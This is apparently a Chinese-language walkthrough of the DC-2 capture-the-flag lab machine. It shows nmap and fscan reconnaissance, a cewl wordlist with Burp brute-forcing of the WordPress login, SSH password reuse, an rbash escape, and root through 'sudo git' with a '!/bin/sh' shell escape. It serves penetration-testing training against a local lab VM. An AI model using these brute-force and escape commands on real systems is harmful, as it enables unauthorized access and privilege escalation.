DC-2
author:leadlife
data:2023/5/12
blog:https://tripse.github.io/
demonstration:密码复用同时存在于本地登陆情况和外部登陆情况
本次测试使用到的工具如下:
- 信息收集:nmap,fscan,cmseek,cewl,searchsploit,burpsuite
- 获取 SHELL:ssh
- 内部信息收集:无
- 权限提升:无
外部信息收集
Nmap ICMP 扫描发现主机
其中 IP 10.10.10.129 为靶机 IP
sudo nmap -sP 10.10.10.0/24 -T4 --min-rate 10000
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 15:12 CST
Nmap scan report for 10.10.10.129
Host is up (0.00018s latency).
MAC Address: 08:00:27:BC:F8:72 (Oracle VirtualBox virtual NIC)
Nmap scan report for 10.10.10.254
Host is up (0.000041s latency).
MAC Address: 00:50:56:E9:03:7F (VMware)
Nmap scan report for 10.10.10.1
Host is up.
Nmap done: 256 IP addresses (3 hosts up) scanned in 0.34 seconds
Fsacn 探测开放端口
sudo fscan -h 10.10.10.129 -t 30 -p 0-65535
Nmap 进行详细端口扫描
得到端口号后,使用 Nmap 进行详细端口扫描
sudo nmap -sS -sV -T4 --min-rate 10000 -oN nmap.all -O -sC 10.10.10.129 -p80,7744
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-12 15:15 CST
Nmap scan report for 10.10.10.129
Host is up (0.00034s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.10 ((Debian))
|_http-title: Did not follow redirect to http://dc-2/
|_http-server-header: Apache/2.4.10 (Debian)
7744/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u7 (protocol 2.0)
| ssh-hostkey:
| 1024 52517b6e70a4337ad24be10b5a0f9ed7 (DSA)
| 2048 5911d8af38518f41a744b32803809942 (RSA)
| 256 df181d7426cec14f6f2fc12654315191 (ECDSA)
|_ 256 d9385f997c0d647e1d46f6e97cc63717 (ED25519)
MAC Address: 08:00:27:BC:F8:72 (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.41 seconds
Hosts 绑定访问 Web
访问 10.10.10.129 发现如下情况,操作 Hosts 文件绑定即可
hosts 文件路径:/etc/hosts
,内容编辑如下:
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Q2W02Cfn-1683882464370)(/home/leadlife/.config/Typora/typora-user-images/image-20230512151705988.png)]
操作后即可正常访问,发现 CMS 为 wordpress
CMSeek 判断 CMS 版本&枚举 WP 用户
cmseek 会自动去枚举 wordpress cms 的用户,比 wpscan 用者简单
searchsploit 搜寻 cms 版本漏洞
发现该版本并无直接 RCE 的漏洞:
则考虑爆破 User 进入 wordpress 后台
暴力破解进入后台
直接用 burpsuite,懒得用 wpscan
收集可能密码
首先可以使用 cewl 爬取站点,收集可能密码
cewl http://dc-2/ >> passwd.txt
BurpSuite intruder 爆破
1:首先来到后台 http://dc-2/wp-login.php
2:随意输入,使用 burpsuite 抓到该 POST 数据包
3:发送到 intruder 模块
4:消除自动选定变量,自定义变量使用 Clus ter Bomb 模式爆破
5:选定账号密码开始爆破
爆破结果如下,发现了 tom 和 jerry 的 password
后台获取 WebSHELL
失败
来到 Tom 账户,发现权限过小
转向 jerry ,显然 jerry 账户的权限高很多,能够编辑 Post 和 Pages,但仍然无法操作获得 webshell
密码复用尝试
利用密码服用,尝试能否通过 ssh 登陆目标账户:
- Tom 可以登陆
- 再尝试 jerry
jerry 并不存在密码复用情况
内部信息收集
绕过 rbash
发现我们输入命令有些奇怪的提示,得到为 rbash
export -p
BASH_CMDS[test]=/bin/sh;test
/bin/bash
export PATH=$PATH:/bin/
export PATH=$PATH:/usr/bin
内核与发行版
发现命令索引有问题,这里直接来到 /bin/ 下调用
SUID
无 SUID
SUDO
无 SUDO
尝试本地利用密码复用切换到 jerry
成功切换
jerry sudo
发现 jerry sudo git 可用于提权
权限提升
利用 git sudo 提权
sudo git branch --help config
!/bin/sh